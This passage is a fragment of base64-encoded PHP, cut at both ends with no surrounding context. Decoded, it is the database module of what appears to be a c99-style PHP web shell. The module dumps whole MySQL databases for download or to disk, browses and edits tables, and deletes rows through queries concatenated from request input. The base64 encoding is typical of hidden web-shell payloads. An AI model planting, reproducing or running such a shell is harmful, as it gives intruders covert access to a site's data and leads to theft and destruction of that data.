iBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgICAgICAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkZGlwbGF5ID0gVFJVRTsNCiAgICAgICAgICAgICRzZXQgPSBhcnJheSgpOw0KICAgICAgICAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOw0KICAgICAgICAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICAgICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOw0KICAgICAgICAgICAgJHNldFsicHJpbnQiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgICAgICAgICRzZXRbIiJdID0gMDsNCiAgICAgICAgICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7DQogICAgICAgICAgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsNCiAgICAgICAgICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30NCiAgICAgICAgICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICAgICAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgew0KICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7DQogICAgICAgICAgICAgIGVjaG8gJHJldDsNCiAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpIHsNCiAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgICAgICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQ0KICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7fQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcGxheSkgew0KICAgIGlmICghZW1wdHkoJHNxbF90YmwpKSB7DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfeCkpIHskc3FsX3RibF94ID0gImJyb3dzZSI7fQ0KICAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOw0KICAgICAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30NCiAgICAgIGlmICgkc3FsX2xzID4gJHNxbF9sZSkgeyRzcWxfbGUgPSAkc3FsX2xzICsgJHBlcnBhZ2U7fQ0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbGUpKSB7JHNxbF90YmxfbGUgPSAzMDt9DQogICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2UgPSAxMDt9DQogICAgICAkbnVtcGFnZXMgPSAkY291bnRfcm93WzBdLyRwZXJwYWdlOw0KICAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsNCiAgICAgIGlmIChjb3VudCgkZSkgPT0gMikgew0KICAgICAgICBpZiAoJGVbMF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30NCiAgICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQ0KICAgICAgICAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7DQogICAgICB9DQogICAgICBlbHNlIHskdiA9ICIiO30NCiAgICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJHYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9jZW50ZXI+IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9c3RydWN0dXJlXCI+WzxiPiBTdHJ1Y3R1cmUgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9YnJvd3NlXCI+WzxiPiBCcm93c2UgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfeD10YmxkdW1wJnRoaXN0Ymw9MVwiPls8Yj4gRHVtcCA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1pbnNlcnRcIj5bJm5ic3A7PGI+SW5zZXJ0PC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGlmICgkc3FsX3RibF94ID09ICJzdHJ1Y3R1cmUiKSB7ZWNobyAiPGJyPjxicj48Yj5Db21pbmcgc29vb24hPC9iPiI7fQ0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTt9DQogICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkgeyAgfSAvL05vdCBSZWFkeQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7DQogICAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgV0hFUkUiLiRzcWxfdGJsX2luc2VydF9xOw0KICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgICAgICAgJHZhbHVlcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOw0KICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30NCiAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRhYmxlIHdpZHRoPVwiMSVcIiBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgew0KICAgICAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQogICAgICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9DQogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICB9DQogICAgICAgICAgZWNobyAiPC90YWJsZT48YnI+IjsNCiAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIxXCIiOyBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7DQogICAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOyBlY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30NCiAgICAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7DQogICAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsNCiAgICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOw0KICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICAgIGVjaG8gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsNCiAgICAgICAgJGIgPSAwOw0KICAgICAgICBmb3IoJGk9MDskaTwkbnVtcGFnZXM7JGkrKykgew0KICAgICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQ0KICAgICAgICAgIGVjaG8gJGk7DQogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9DQogICAgICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGkgPT0gMCkge2VjaG8gImVtcHR5Ijt9DQogICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInhcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sZVwiIHZhbHVlPVwiIi4kc3FsX3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsNCiAgICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iOw0KICAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7DQogICAgICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOw0KICAgICAgICAgIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9DQogICAgICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30NCiAgICAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICAgICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQ0KICAgICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9DQogICAgICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgICB9DQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAkdyA9ICIiOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQ0KICAgICAgIGlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fQ0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KQ0KICAgICAgIHsNCiAgICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsNCiAgICAgICAgaWYgKCR2ID09ICIiKSB7JHYgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk5VTEw8L2ZvbnQ+Ijt9DQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7DQogICAgICAgICRpKys7DQogICAgICAgfQ0KICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2luc2VydF9xPSIudXJsZW5jb2RlKCR3KS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgfQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJsZWZ0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF94XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgICRpID0gMDsNCiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOw0KICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOw0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4iXCI+PGI+Ii4kcm93WyJOYW1lIl0uIjwvYj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIkNyZWF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLi